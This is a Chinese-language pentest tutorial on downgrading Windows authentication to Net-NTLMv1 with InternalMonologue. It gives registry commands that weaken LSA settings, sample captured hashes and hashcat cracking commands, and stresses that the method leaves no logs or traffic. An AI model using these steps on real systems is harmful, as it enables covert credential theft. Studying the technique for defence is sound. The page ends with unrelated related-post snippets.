Net-NTLMv1的利用思路
更新2020_01_17
Net-NTLMv1的加密方法:
1、客户端向服务器发送一个请求
2、服务器接收到请求后,生成一个8位的Challenge,发送回客户端
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器
4、服务器校验response
简单的描述: Net-NTLMv1 就是上面加密方法步骤中的 登陆用户的密码加密成Hash再跟Challenge(挑战码)加密后在内存中保留的值。
详细的过程可以参考: https://www.cnblogs.com/zpchcbd/p/11738923.html
Net-NTLMv1的利用思路:
由于Net-NTLMv1的脆弱性,在控制Challenge后可以在短时间内通过彩虹表还原出用户的ntlm hash,所以在利用上首选的是将Win7环境下的默认Net-NTLMv2降级到Net-NTLMv1,获取本机的通信数据,还原出ntlm hash。
实现工具: InternalMonologue
下载地址: https://github.com/eladshamir/Internal-Monologue
注意点:自Windows Vista/Server2008开始起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限。
修改注册表需要管理员权限:
修改注册表开启Net-NTLMv1:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f
为确保Net-NTLMv1开启成功,还需要修改两处注册表键值:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f
Net-NTLMv1的格式为:username::hostname:LM response:NTLM response:challenge
Administrator::adexx-PC:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:1122334455667788

使用hashcat进行字典破解,参数如下:
hashcat -m 5500 hash.txt password.txt

优点:
1、这种方式不会对lsass.exe进程进行操作
2、同本地NTLM SSP进行交互,不会产生流量
3、没有进行NTLM认证,不会产生日志
补充:
Net-NTLMv2的格式username::domain:challenge:HMAC-MD5:blob
如果以普通用户权限执行InternalMonologue,同样能够获得当前用户的Net-NTLMv2数据包(注意是的Net-NTLMv2的数据包,不是Net-NTLMv1,因为没有权限去进行降级到Net-NTLMv1),通过hashcat进行破解,也能获得当前用户的明文口令

如上图,获得Net-NTLMv2的数据包如下:
yuyonghu01::PENTEST:1122334455667788:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad
使用hashcat进行字典破解,参数如下:
hashcat -m 5600 hash.txt password.txt

总结:
自Windows Vista起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限
而对于Net-NTLMv2协议,即使抓到了通信数据包,只能对其进行字典攻击或是暴力破解,破解的概率不是很高
综上,自Windows Vista起,系统默认使用的Net-NTLMv2协议在安全性上能够保证
参考文章:https://xz.aliyun.com/t/2205
Net-NTLMv1的利用思路的更多相关文章
- CVE-2014-1767 利用分析(2015.2)
CVE-2014-1767利用分析 参考这篇文章利用思路,重现利用,主要说明自己在实现的时候遇到的坑. 利用思路 1. 第一次 IoControl,释放 MDL,我们通过 VirtualAddress ...
- CVE-2015-0057 POC构造 & 利用分析(2015.7)
CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...
- CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...
- Linux64位程序中的漏洞利用
之前在栈溢出漏洞的利用和缓解中介绍了栈溢出漏洞和一些常见的漏洞缓解 技术的原理和绕过方法, 不过当时主要针对32位程序(ELF32). 秉承着能用就不改的态度, IPv4还依然是互联网的主导, 更何况 ...
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
- linux下堆溢出unlink的一个简单例子及利用
最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记:作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正. 本文用到的例子下载链接https://github.com/ctfs/w ...
- 利用VBS下载EXE文件手法记录
1.信息来源 疑似朝鲜通过鱼叉攻击韩国统一部记者的APT事件整理 https://mp.weixin.qq.com/s/4IFV31MBNbANnCVaJj7ZPQ https://twitter.c ...
- 从0开始:Windows内核利用的另一种方式
https://www.anquanke.com/post/id/91063 从0开始:Windows内核利用的另一种方式 阅读量 9168 | 稿费 200 分享到: 发布时间:201 ...
- Android内核漏洞利用技术实战:环境搭建&栈溢出实战
前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...
随机推荐
- [转帖]LINUX PID 1 和 SYSTEMD
LINUX PID 1 和 SYSTEMD 2017年07月16日 陈皓 评论 46 条评论 57,176 人阅读 https://coolshell.cn/articles/17998.html ...
- Python之logging.basicConfig函数各参数
filename: 指定日志文件名 filemode: 和file函数意义相同,指定日志文件的打开模式,'w'或'a' format: 指定输出的格式和内容,format可以输出很多有用信息,如上例所 ...
- python优先级问题
- JavaWeb项目之多条件过滤
相信很多同学在学习java基础之后,面对各种项目还是相当头疼,那今天我将手把手教你学会JavaWeb项目中的多条件过滤,希望你能在与我实战的过程中积累经验,更进一步. 分页查询 需求分析:在列表页面中 ...
- linux端口映射
参考文章: http://jingyan.baidu.com/article/ed15cb1b2a332e1be36981ed.html http://www.myhack58.com/Article ...
- mac上使用git命令上传项目工程源码至Github/gitee
原文连接:(http://www.studyshare.cn/blog/details/1164/0 ) 一.安装git工具 1.官网下载地址:点击下载 安装步骤略,mac安装工具双击拖动即可. 2 ...
- 图解HTTP(三)
第七章 确保Web安全的HTTPS 1.HTTP的不足 通信使用明文(不加密),内容可能被监听 不验证通信方的身份,因此可能遭遇伪装 无法验证报文的完整性,所以有可能已遭篡改 2.通信加密 通信的加密 ...
- oracle之PLSQL导出-导入-表-存储过程等操作--亲测好用
1.背景 实际开发中考虑到安全,不会将生产库的数据和本地开发数据进行同步操作,而是采用导入导出sql语句的方式操作; 例如在开发环境写好的存储过程要更新到生产环境,那么就需要使用导出和导入功能. 2. ...
- [LeetCode] 437. 路径总和 III ☆☆☆(递归)
路径总和 III 描述 给定一个二叉树,它的每个结点都存放着一个整数值. 找出路径和等于给定数值的路径总数. 路径不需要从根节点开始,也不需要在叶子节点结束,但是路径方向必须是向下的(只能从父节点到子 ...
- MySQL删除语句
删除数据(DELETE) 使用前需注意:删除(DELETE),是删除一(条)行数据.假如我们有四条(行)数据,换句话说,你要删除其中一条(行) 名字为“xx”的用户,那么关于他的 i所有数据都会被删除 ...